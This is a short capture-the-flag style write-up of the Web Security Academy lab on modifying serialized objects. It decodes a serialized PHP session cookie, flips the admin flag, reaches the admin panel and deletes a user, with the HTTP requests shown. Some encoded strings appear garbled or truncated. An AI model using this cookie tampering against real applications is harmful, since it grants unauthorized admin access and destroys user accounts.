

## Modifying serialized objects

1. This lab uses a serialization-based session mechanism and is vulnerable to privilege escalation as a result.
2. While browsing the web application and observing the requests, I found a session variable sent in cookies like this:

```
Request
Pretty Raw Hex
1 GET /my-account?id=wiener HTTP/2
2 Host: 0a5f006303f8a04e9c0d023400ac00d1.web-security-academy.net
3 Cookie: session=
Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lcii7czo1OijhZG1pbil7YjowO30%3d
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
6 Sec-Ch-Ua-Mobile: ?0
```

After decoding this session, I found that this is a serialized object that contains the username and his admin role (true or false).

```
Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lcii7czo1OijhZG1pbil7YjowO30%3d

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}%3d
```

3. I changed my admin role from 0 to 1 and encode it back and replace it with my session in the request and sent it.
4. Now, I am an admin and I have access on admin panel.

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /admin HTTP/2 2 Host: 0a5f006303f8a04e9c0d023400ac00d1.web-security-academy.net 3 Cookie: session=Tzo0OiJVc2VyljoyOntzOjg6InVzZXJuYW1lIjtzOjY6	1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 Cache-Control: no-cache 4 X-Frame-Options: SAMEORIGIN 5 Content-Length: 3104 6

5. I request this URL /admin/delete?username=carlos and delete carlos user successfully.

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
1 GET /admin/delete?username=carlos HTTP/2			1 HTTP/2 302 Found		
2 Host: 0a5f006303f8a04e9c0d02340ac00d1.web-security-academy.net			2 Location: /admin		
3 Cookie: session=Tze0OijVc2VvIjovOntzOig6InVzZXJuYWwiIitzOijY6			3 X-Frame-Options: SAMEORIGIN		
			4 Content-Length: 0		
			5		
			6		

Web Security Academy

Modifying serialized objects

[Back to lab description >>](#)

LAB Solved

Congratulations, you solved the lab!

Share your skills!



[Continue learning >>](#)